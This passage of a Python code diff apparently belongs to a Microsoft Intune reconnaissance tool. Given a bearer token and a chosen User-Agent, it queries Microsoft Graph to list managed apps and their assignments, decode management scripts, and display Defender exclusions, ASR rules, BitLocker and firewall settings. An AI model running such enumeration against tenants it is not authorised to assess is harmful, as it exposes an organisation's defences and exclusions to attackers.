+ api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=(isof(%27microsoft.graph.win32CatalogApp%27)%20or%20isof(%27microsoft.graph.windowsStoreApp%27)%20or%20isof(%27microsoft.graph.microsoftStoreForBusinessApp%27)%20or%20isof(%27microsoft.graph.officeSuiteApp%27)%20or%20(isof(%27microsoft.graph.win32LobApp%27)%20and%20not(isof(%27microsoft.graph.win32CatalogApp%27)))%20or%20isof(%27microsoft.graph.windowsMicrosoftEdgeApp%27)%20or%20isof(%27microsoft.graph.windowsPhone81AppX%27)%20or%20isof(%27microsoft.graph.windowsPhone81StoreApp%27)%20or%20isof(%27microsoft.graph.windowsPhoneXAP%27)%20or%20isof(%27microsoft.graph.windowsAppX%27)%20or%20isof(%27microsoft.graph.windowsMobileMSI%27)%20or%20isof(%27microsoft.graph.windowsUniversalAppX%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.windowsWebApp%27)%20or%20isof(%27microsoft.graph.winGetApp%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&"
+
+ if args.select:
+ api_url += "$select=" + args.select # some fields will 400 whole req
+ if args.id:
+ api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ try:
+ response = requests.get(api_url, headers=headers)
+ response.raise_for_status()
+ json_data = response.json()
+ json_data.pop('@odata.context', None)
+ json_data.pop('assignments@odata.context', None)
+ for key, value in json_data.items():
+ if key == 'assignments':
+ if not value:
+ print_red("assignments: None")
+ else:
+ print_green("assignments:")
+ for assignment in value:
+ print(f" - ID: {assignment['id']}")
+ print(f" Intent: {assignment['intent']}")
+ if 'target' in assignment:
+ target = assignment['target']
+ odata_type = target.get('@odata.type', '').split('.')[-1]
+ print(f" Target:")
+ if odata_type == 'exclusionGroupAssignmentTarget':
+ group_id = target.get('groupId', 'N/A')
+ print(f" Excluded Group ID: {group_id}")
+ elif odata_type == 'allLicensedUsersAssignmentTarget':
+ print(" Assigned to all users")
+ elif odata_type == 'allDevicesAssignmentTarget':
+ print(" Assigned to all devices")
+ elif odata_type == 'groupAssignmentTarget':
+ group_id = target.get('groupId', 'N/A')
+ print(f" Assigned to Group ID: {group_id}")
+ else:
+ print(f" {odata_type}: {target}")
+ print()
+ else:
+ print(f"{key}: {value}")
+ except requests.exceptions.RequestException as ex:
+ print_red(f"[-] HTTP Error: {ex}")
+ print("=" * 80)
+ return
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# dump-iosapps
+def dump_iosapps(args):
+ print_yellow("[*] Dump-iOSApps")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=((isof(%27microsoft.graph.managedIOSStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27lineOfBusiness%27)%20or%20isof(%27microsoft.graph.iosLobApp%27)%20or%20isof(%27microsoft.graph.iosStoreApp%27)%20or%20isof(%27microsoft.graph.iosVppApp%27)%20or%20isof(%27microsoft.graph.managedIOSLobApp%27)%20or%20(isof(%27microsoft.graph.managedIOSStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27global%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.iOSiPadOSWebClip%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&"
+
+ if args.select:
+ api_url += "$select=" + args.select # some fields will 400 whole req
+ if args.id:
+ api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ try:
+ response = requests.get(api_url, headers=headers)
+ response.raise_for_status()
+ json_data = response.json()
+ json_data.pop('@odata.context', None)
+ json_data.pop('assignments@odata.context', None)
+ for key, value in json_data.items():
+ if key == 'assignments':
+ if not value:
+ print_red("assignments: None")
+ else:
+ print_green("assignments:")
+ for assignment in value:
+ print(f" - ID: {assignment['id']}")
+ print(f" Intent: {assignment['intent']}")
+ if 'target' in assignment:
+ target = assignment['target']
+ odata_type = target.get('@odata.type', '').split('.')[-1]
+ print(f" Target:")
+ if odata_type == 'exclusionGroupAssignmentTarget':
+ group_id = target.get('groupId', 'N/A')
+ print(f" Excluded Group ID: {group_id}")
+ elif odata_type == 'allLicensedUsersAssignmentTarget':
+ print(" Assigned to all users")
+ elif odata_type == 'allDevicesAssignmentTarget':
+ print(" Assigned to all devices")
+ elif odata_type == 'groupAssignmentTarget':
+ group_id = target.get('groupId', 'N/A')
+ print(f" Assigned to Group ID: {group_id}")
+ else:
+ print(f" {odata_type}: {target}")
+ print()
+ else:
+ print(f"{key}: {value}")
+ except requests.exceptions.RequestException as ex:
+ print_red(f"[-] HTTP Error: {ex}")
+ print("=" * 80)
+ return
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# dump-macosapps
+def dump_macosapps(args):
+ print_yellow("[*] Dump-macOSApps")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=(isof(%27microsoft.graph.macOSDmgApp%27)%20or%20isof(%27microsoft.graph.macOSPkgApp%27)%20or%20isof(%27microsoft.graph.macOSLobApp%27)%20or%20isof(%27microsoft.graph.macOSMicrosoftEdgeApp%27)%20or%20isof(%27microsoft.graph.macOSMicrosoftDefenderApp%27)%20or%20isof(%27microsoft.graph.macOSOfficeSuiteApp%27)%20or%20isof(%27microsoft.graph.macOsVppApp%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.macOSWebClip%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&"
+
+ if args.select:
+ api_url += "$select=" + args.select # some fields will 400 whole req
+ if args.id:
+ api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ try:
+ response = requests.get(api_url, headers=headers)
+ response.raise_for_status()
+ json_data = response.json()
+ json_data.pop('@odata.context', None)
+ json_data.pop('assignments@odata.context', None)
+ for key, value in json_data.items():
+ if key == 'assignments':
+ if not value:
+ print_red("assignments: None")
+ else:
+ print_green("assignments:")
+ for assignment in value:
+ print(f" - ID: {assignment['id']}")
+ print(f" Intent: {assignment['intent']}")
+ if 'target' in assignment:
+ target = assignment['target']
+ odata_type = target.get('@odata.type', '').split('.')[-1]
+ print(f" Target:")
+ if odata_type == 'exclusionGroupAssignmentTarget':
+ group_id = target.get('groupId', 'N/A')
+ print(f" Excluded Group ID: {group_id}")
+ elif odata_type == 'allLicensedUsersAssignmentTarget':
+ print(" Assigned to all users")
+ elif odata_type == 'allDevicesAssignmentTarget':
+ print(" Assigned to all devices")
+ elif odata_type == 'groupAssignmentTarget':
+ group_id = target.get('groupId', 'N/A')
+ print(f" Assigned to Group ID: {group_id}")
+ else:
+ print(f" {odata_type}: {target}")
+ print()
+ else:
+ print(f"{key}: {value}")
+ except requests.exceptions.RequestException as ex:
+ print_red(f"[-] HTTP Error: {ex}")
+ print("=" * 80)
+ return
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# dump-androidapps
+def dump_androidapps(args):
+ print_yellow("[*] Dump-AndroidApps")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=((isof(%27microsoft.graph.androidManagedStoreApp%27)%20and%20microsoft.graph.androidManagedStoreApp/isSystemApp%20eq%20true)%20or%20isof(%27microsoft.graph.androidLobApp%27)%20or%20isof(%27microsoft.graph.androidStoreApp%27)%20or%20(isof(%27microsoft.graph.managedAndroidStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27lineOfBusiness%27)%20or%20isof(%27microsoft.graph.managedAndroidLobApp%27)%20or%20(isof(%27microsoft.graph.managedAndroidStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27global%27)%20or%20(isof(%27microsoft.graph.androidManagedStoreApp%27)%20and%20microsoft.graph.androidManagedStoreApp/isSystemApp%20eq%20false)%20or%20isof(%27microsoft.graph.webApp%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&"
+
+ if args.select:
+ api_url += "$select=" + args.select # some fields will 400 whole req
+ if args.id:
+ api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ try:
+ response = requests.get(api_url, headers=headers)
+ response.raise_for_status()
+ json_data = response.json()
+ json_data.pop('@odata.context', None)
+ json_data.pop('assignments@odata.context', None)
+ for key, value in json_data.items():
+ if key == 'assignments':
+ if not value:
+ print_red("assignments: None")
+ else:
+ print_green("assignments:")
+ for assignment in value:
+ print(f" - ID: {assignment['id']}")
+ print(f" Intent: {assignment['intent']}")
+ if 'target' in assignment:
+ target = assignment['target']
+ odata_type = target.get('@odata.type', '').split('.')[-1]
+ print(f" Target:")
+ if odata_type == 'exclusionGroupAssignmentTarget':
+ group_id = target.get('groupId', 'N/A')
+ print(f" Excluded Group ID: {group_id}")
+ elif odata_type == 'allLicensedUsersAssignmentTarget':
+ print(" Assigned to all users")
+ elif odata_type == 'allDevicesAssignmentTarget':
+ print(" Assigned to all devices")
+ elif odata_type == 'groupAssignmentTarget':
+ group_id = target.get('groupId', 'N/A')
+ print(f" Assigned to Group ID: {group_id}")
+ else:
+ print(f" {odata_type}: {target}")
+ print()
+ else:
+ print(f"{key}: {value}")
+ except requests.exceptions.RequestException as ex:
+ print_red(f"[-] HTTP Error: {ex}")
+ print("=" * 80)
+ return
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-scriptcontent
+def get_scriptcontent(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Get-ScriptContent command")
+ return
+
+ print_yellow("[*] Get-ScriptContent")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{args.id}"
+
+ if args.select:
+ api_url += "&$select=" + args.select
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ try:
+ response = requests.get(api_url, headers=headers)
+ response.raise_for_status()
+ json_data = response.json()
+ json_data.pop('@odata.context', None)
+
+ script_content = json_data.get('scriptContent')
+ if script_content:
+ decoded_script_content = base64.b64decode(script_content).decode('utf-8')
+ json_data['scriptContent'] = decoded_script_content
+ json_data.pop('scriptContent', None)
+ for key, value in json_data.items():
+ print(f"{key} : {value}")
+ if script_content:
+ print("scriptContent :\n")
+ print(decoded_script_content)
+ except requests.exceptions.RequestException as ex:
+ print(f"[-] HTTP Error: {ex}")
+ print("=" * 80)
+
+# display-avpolicyrules
+def display_avpolicyrules(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Display-AVPolicyRules command")
+ return
+
+ print_yellow("[*] Display-AVPolicyRules")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ settings_map = {
+ "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_highseveritythreats": {
+ "description": "Remediation action for High severity threats",
+ "values": {
+ "4=1": "Clean (service tries to recover files and try to disinfect)",
+ "4=2": "Quarantine (moves files to quarantine)",
+ "4=3": "Remove (removes files from system)",
+ "4=6": "Allow (allows file/does none of the above actions)",
+ "4=8": "User defined (requires user to make a decision on which action to take)",
+ "4=10": "Block (blocks file execution)"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_lowseveritythreats": {
+ "description": "Remediation action for Low severity threats",
+ "values": {
+ "1=1": "Clean (service tries to recover files and try to disinfect)",
+ "1=2": "Quarantine (moves files to quarantine)",
+ "1=3": "Remove (removes files from system)",
+ "1=6": "Allow (allows file/does none of the above actions)",
+ "1=8": "User defined (requires user to make a decision on which action to take)",
+ "1=10": "Block (blocks file execution)"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_moderateseveritythreats": {
+ "description": "Remediation action for Moderate severity threats",
+ "values": {
+ "2=1": "Clean (service tries to recover files and try to disinfect)",
+ "2=2": "Quarantine (moves files to quarantine)",
+ "2=3": "Remove (removes files from system)",
+ "2=6": "Allow (allows file/does none of the above actions)",
+ "2=8": "User defined (requires user to make a decision on which action to take)",
+ "2=10": "Block (blocks file execution)"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_severethreats": {
+ "description": "Remediation action for Severe threats",
+ "values": {
+ "5=1": "Clean (service tries to recover files and try to disinfect)",
+ "5=2": "Quarantine (moves files to quarantine)",
+ "5=3": "Remove (removes files from system)",
+ "5=6": "Allow (allows file/does none of the above actions)",
+ "5=8": "User defined (requires user to make a decision on which action to take)",
+ "5=10": "Block (blocks file execution)"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_allowarchivescanning": {
+ "description": "Allow archive scanning",
+ "values": {
+ "0": "Not allowed (turns off scanning on archived files)",
+ "1": "Allowed (scans the archive files)"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_allowbehaviormonitoring": {
+ "description": "Allow behavior monitoring",
+ "values": {
+ "0": "Not allowed (turns off behavior monitoring)",
+ "1": "Allowed (turns on real-time behavior monitoring)"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_allowcloudprotection": {
+ "description": "Allow cloud protection",
+ "values": {
+ "0": "Not allowed (turns off Cloud Protection)",
+ "1": "Allowed (turns on Cloud Protection"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_allowemailscanning": {
+ "description": "Allow email scanning",
+ "values": {
+ "0": "Not allowed (turns off email scanning)",
+ "1": "Allowed (turns on email scanning)"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_allowfullscanonmappednetworkdrives": {
+ "description": "Allow full scan on mapped network drives",
+ "values": {
+ "0": "Not allowed (disables scanning on mapped network drives)",
+ "1": "Allowed (scans mapped network drives)"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_allowfullscanremovabledrivescanning": {
+ "description": "Allow full scan on removable drives",
+ "values": {
+ "0": "Not allowed (turns off scanning on removable drives)",
+ "1": "Allowed (scans removable drives)"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_allowintrusionpreventionsystem": {
+ "description": "Allow intrusion prevention system",
+ "values": {
+ "0": "Not allowed",
+ "1": "Allowed"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_allowioavprotection": {
+ "description": "Allow IOAV protection",
+ "values": {
+ "0": "Not allowed",
+ "1": "Allowed"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_allowrealtimemonitoring": {
+ "description": "Allow real-time monitoring",
+ "values": {
+ "0": "Not allowed",
+ "1": "Allowed"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_allowscanningnetworkfiles": {
+ "description": "Allow scanning network files",
+ "values": {
+ "0": "Not allowed",
+ "1": "Allowed"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_allowscriptscanning": {
+ "description": "Allow script scanning",
+ "values": {
+ "0": "Not allowed",
+ "1": "Allowed"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_allowuseruiaccess": {
+ "description": "Allow user UI access",
+ "values": {
+ "0": "Not allowed",
+ "1": "Allowed"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_checkforsignaturesbeforerunningscan": {
+ "description": "Check for signatures before running scan",
+ "values": {
+ "0": "Not required",
+ "1": "Required"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_cloudblocklevel": {
+ "description": "Cloud block level",
+ "values": {
+ "0": "Disabled",
+ "1": "Basic",
+ "2": "High"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_disablecatchupfullscan": {
+ "description": "Disable catch-up full scan",
+ "values": {
+ "0": "Enabled",
+ "1": "Disabled"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_disablecatchupquickscan": {
+ "description": "Disable catch-up quick scan",
+ "values": {
+ "0": "Enabled",
+ "1": "Disabled"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_enablelowcpupriority": {
+ "description": "Enable low CPU priority",
+ "values": {
+ "0": "Disabled",
+ "1": "Enabled"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_enablenetworkprotection": {
+ "description": "Enable network protection",
+ "values": {
+ "0": "Disabled",
+ "1": "Enabled"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_excludedextensions": {
+ "description": "Excluded extensions",
+ "values": {}
+ },
+ "device_vendor_msft_policy_config_defender_excludedpaths": {
+ "description": "Excluded paths",
+ "values": {}
+ },
+ "device_vendor_msft_policy_config_defender_excludedprocesses": {
+ "description": "Excluded processes",
+ "values": {}
+ },
+ "device_vendor_msft_policy_config_defender_puaprotection": {
+ "description": "PUA protection",
+ "values": {
+ "0": "Disabled",
+ "1": "Enabled"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_realtimescandirection": {
+ "description": "Real-time scan direction",
+ "values": {
+ "0": "Both directions",
+ "1": "Inbound only",
+ "2": "Outbound only"
+ }
+ },
+ "device_vendor_msft_policy_config_defender_scanparameter": {
+ "description": "Scan parameter",
+ "values": {
+ "0": "Quick scan",
+ "1": "Full scan"
+ }
+ }
+ }
+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ response_json = response.json()
+ for setting in response_json.get('value', []):
+ if 'settingInstance' in setting:
+ setting_instance = setting['settingInstance']
+ setting_id = setting_instance.get('settingDefinitionId', '')
+ if setting_id in settings_map:
+ description = settings_map[setting_id]['description']
+
+ if setting_instance['@odata.type'] == '#microsoft.graph.deviceManagementConfigurationSimpleSettingCollectionInstance':
+ simple_setting_values = setting_instance.get('simpleSettingCollectionValue', [])
+ value_list = [simple_setting_value.get('value', '') for simple_setting_value in simple_setting_values if simple_setting_value.get('value')]
+ value = ', '.join(value_list)
+ print(f"{description} : {value}")
+ elif 'choiceSettingValue' in setting_instance:
+ value = setting_instance['choiceSettingValue'].get('value', '')
+ value_suffix = value[len(setting_id):].lstrip('_')
+
+ if value_suffix in settings_map[setting_id]['values']:
+ mapped_value = settings_map[setting_id]['values'][value_suffix]
+ elif value_suffix == 'block':
+ mapped_value = 'BLOCK'
+ elif value_suffix == 'allow':
+ mapped_value = 'ALLOW'
+ else:
+ mapped_value = value_suffix.upper()
+ print(f"{mapped_value:<10} : {description}")
+
+ # group setting collection values
+ for setting in response_json.get('value', []):
+ if 'settingInstance' in setting and 'groupSettingCollectionValue' in setting['settingInstance']:
+ group_settings = setting['settingInstance']['groupSettingCollectionValue']
+ for group_setting in group_settings:
+ for child in group_setting.get('children', []):
+ choice_setting_value = child.get('choiceSettingValue', {})
+ value = choice_setting_value.get('value', '')
+ setting_id = child.get('settingDefinitionId', '')
+ if setting_id in settings_map:
+ description = settings_map[setting_id]['description']
+ value_suffix = value[len(setting_id):].lstrip('_')
+
+ if value_suffix in settings_map[setting_id]['values']:
+ mapped_value = settings_map[setting_id]['values'][value_suffix]
+ elif value_suffix == 'block':
+ mapped_value = 'BLOCK'
+ elif value_suffix == 'allow':
+ mapped_value = 'ALLOW'
+ else:
+ mapped_value = value_suffix.upper()
+ print(f"{mapped_value:<10} : {description}")
+ else:
+ print_red(f"[-] Failed to retrieve settings: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# display-asrpolicyrules
+def display_asrpolicyrules(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Display-ASRPolicyRules command")
+ return
+
+ print_yellow("[*] Display-ASRPolicyRules")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ settings_map = {
+ "blockadobereaderfromcreatingchildprocesses": "Block Adobe Reader from creating child processes",
+ "blockprocesscreationsfrompsexecandwmicommands": "Block process creations from PSExec and WMI commands",
+ "blockexecutionofpotentiallyobfuscatedscripts": "Block execution of potentially obfuscated scripts",
+ "blockpersistencethroughwmieventsubscription": "Block persistence through WMI event subscription",
+ "blockwin32apicallsfromofficemacros": "Block Win32 API calls from Office macros",
+ "blockofficeapplicationsfromcreatingexecutablecontent": "Block Office applications from creating executable content",
+ "blockcredentialstealingfromwindowslocalsecurityauthoritysubsystem": "Block credential stealing from Windows local security authority subsystem",
+ "blockexecutablefilesrunningunlesstheymeetprevalenceagetrustedlistcriterion": "Block executable files running unless they meet prevalence age trusted list criterion",
+ "blockjavascriptorvbscriptfromlaunchingdownloadedexecutablecontent": "Block JavaScript or VBScript from launching downloaded executable content",
+ "blockofficecommunicationappfromcreatingchildprocesses": "Block Office communication app from creating child processes",
+ "blockofficeapplicationsfrominjectingcodeintootherprocesses": "Block Office applications from injecting code into other processes",
+ "blockallofficeapplicationsfromcreatingchildprocesses": "Block all Office applications from creating child processes",
+ "blockwebshellcreationforservers": "Block web shell creation for servers",
+ "blockuntrustedunsignedprocessesthatrunfromusb": "Block untrusted unsigned processes that run from USB",
+ "useadvancedprotectionagainstransomware": "Use advanced protection against ransomware",
+ "blockexecutablecontentfromemailclientandwebmail": "Block executable content from email client and webmail",
+ "blockabuseofexploitedvulnerablesigneddrivers": "Block abuse of exploited vulnerable signed drivers"
+ }
+
+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ response_json = response.json()
+
+ if "value" in response_json:
+ for item in response_json["value"]:
+ setting_instance = item.get("settingInstance", {})
+ group_settings = setting_instance.get("groupSettingCollectionValue", [])
+
+ for group in group_settings:
+ children = group.get("children", [])
+
+ for child in children:
+ choice_setting_value = child.get("choiceSettingValue", {})
+ value = choice_setting_value.get("value", "")
+
+ if value:
+ parts = value.split("_")
+ if len(parts) >= 2:
+ action = parts[-1].upper()
+ rule_name = "_".join(parts[:-1])
+ rule_name = rule_name.replace("device_vendor_msft_policy_config_defender_attacksurfacereductionrules_", "")
+ readable_rule = settings_map.get(rule_name, rule_name)
+ print(f"{action:<6}: {readable_rule}")
+ else:
+ print_red(f"[-] Failed to retrieve settings: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# display-diskencryptionpolicyrules
+def display_diskencryptionpolicyrules(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Display-DiskEncryptionPolicyRules command")
+ return
+
+ print_yellow("[*] Display-DiskEncryptionPolicyRules")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" #?$expand=settingDefinitions"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ settings_map = {
+ "device_vendor_msft_bitlocker_fixeddrivesencryptiontype": "Enforce drive encryption type on fixed data drives",
+ "device_vendor_msft_bitlocker_fixeddrivesrecoveryoptions": "Choose how BitLocker-protected fixed drives can be recovered",
+ "device_vendor_msft_bitlocker_fixeddrivesrequireencryption": "Deny write access to fixed drives not protected by BitLocker",
+ "device_vendor_msft_bitlocker_systemdrivesencryptiontype": "Enforce drive encryption type on operating system drives",
+ "device_vendor_msft_bitlocker_systemdrivesrequirestartupauthentication": "Require additional authentication at startup",
+ "device_vendor_msft_bitlocker_systemdrivesminimumpinlength": "Configure minimum PIN length for startup",
+ "device_vendor_msft_bitlocker_systemdrivesenhancedpin": "Allow enhanced PINs for startup",
+ "device_vendor_msft_bitlocker_systemdrivesdisallowstandarduserscanchangepin": "Disallow standard users from changing the PIN or password",
+ "device_vendor_msft_bitlocker_systemdrivesenableprebootpinexceptionondecapabledevice": "Allow devices compliant with InstantGo or HSTI to opt out of pre-boot PIN",
+ "device_vendor_msft_bitlocker_systemdrivesenableprebootinputprotectorsonslates": "Enable use of BitLocker authentication requiring preboot keyboard input on slates",
+ "device_vendor_msft_bitlocker_systemdrivesrecoveryoptions": "Choose how BitLocker-protected operating system drives can be recovered",
+ "device_vendor_msft_bitlocker_systemdrivesrecoverymessage": "Configure pre-boot recovery message and URL",
+ "device_vendor_msft_bitlocker_removabledrivesconfigurebde": "Control use of BitLocker on removable drives",
+ "device_vendor_msft_bitlocker_removabledrivesrequireencryption": "Deny write access to removable drives not protected by BitLocker",
+ "device_vendor_msft_bitlocker_encryptionmethodbydrivetype": "Choose drive encryption method and cipher strength (Windows 10 [Version 1511] and later)",
+ "device_vendor_msft_bitlocker_identificationfield": "Provide the unique identifiers for your organization",
+ "device_vendor_msft_bitlocker_requiredeviceencryption": "Require Device Encryption",
+ "device_vendor_msft_bitlocker_allowwarningforotherdiskencryption": "Allow Standard User Encryption",
+ "device_vendor_msft_bitlocker_configurerecoverypasswordrotation": "Configure Recovery Password Rotation"
+ }
+
+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ response_json = response.json()
+ for setting in response_json.get('value', []):
+ if 'settingInstance' in setting and 'choiceSettingValue' in setting['settingInstance']:
+ value_field = setting['settingInstance']['choiceSettingValue'].get('value')
+ if value_field:
+ cleaned_value = value_field.rstrip('_01')
+ if cleaned_value in settings_map:
+ setting_text = settings_map[cleaned_value]
+ if value_field.endswith('_1'):
+ print(f"ENABLED : {setting_text}")
+ elif value_field.endswith('_0'):
+ print(f"DISABLED : {setting_text}")
+ else:
+ print(f"{setting_text} - {value_field}")
+ else:
+ print_red(f"[-] Failed to retrieve settings: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# display-firewallconfigpolicyrules - firewall config policy
+def display_firewallconfigpolicyrules(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for display-firewallconfigpolicyrules command")
+ return
+
+ print_yellow("[*] Display-FirewallConfigPolicyRules")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ settings_map = {
+ "vendor_msft_firewall_mdmstore_global_crlcheck": {
+ "displayName": "Certificate revocation list verification",
+ "options": {
+ "vendor_msft_firewall_mdmstore_global_crlcheck_0": "None - Disables CRL checking",
+ "vendor_msft_firewall_mdmstore_global_crlcheck_1": "Attempt - checking is attempted and that certificate validation fails only if the certificate is revoked",
+ "vendor_msft_firewall_mdmstore_global_crlcheck_2": "Require - checking is required and that certificate validation fails if any error is encountered during CRL processing",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_global_disablestatefulftp": {
+ "displayName": "Disable Stateful Ftp",
+ "options": {
+ "vendor_msft_firewall_mdmstore_global_disablestatefulftp_false": "Stateful FTP enabled",
+ "vendor_msft_firewall_mdmstore_global_disablestatefulftp_true": "Stateful FTP disabled",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_global_enablepacketqueue": {
+ "displayName": "Enable Packet Queue",
+ "options": {
+ "vendor_msft_firewall_mdmstore_global_enablepacketqueue_0": "Disabled - Indicates that all queuing is to be disabled",
+ "vendor_msft_firewall_mdmstore_global_enablepacketqueue_1": "Queue Inbound - inbound encrypted packets are to be queued",
+ "vendor_msft_firewall_mdmstore_global_enablepacketqueue_2": "Queue Outbound - packets are to be queued after decryption is performed for forwarding",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_global_ipsecexempt": {
+ "displayName": "IPsec Exceptions",
+ "options": {
+ "vendor_msft_firewall_mdmstore_global_ipsecexempt_0": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_NONE: No IPsec exemptions.",
+ "vendor_msft_firewall_mdmstore_global_ipsecexempt_1": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_NEIGHBOR_DISC: Exempt neighbor discover IPv6 ICMP type-codes from IPsec.",
+ "vendor_msft_firewall_mdmstore_global_ipsecexempt_2": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_ICMP: Exempt ICMP from IPsec.",
+ "vendor_msft_firewall_mdmstore_global_ipsecexempt_4": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_ROUTER_DISC: Exempt router discover IPv6 ICMP type-codes from IPsec.",
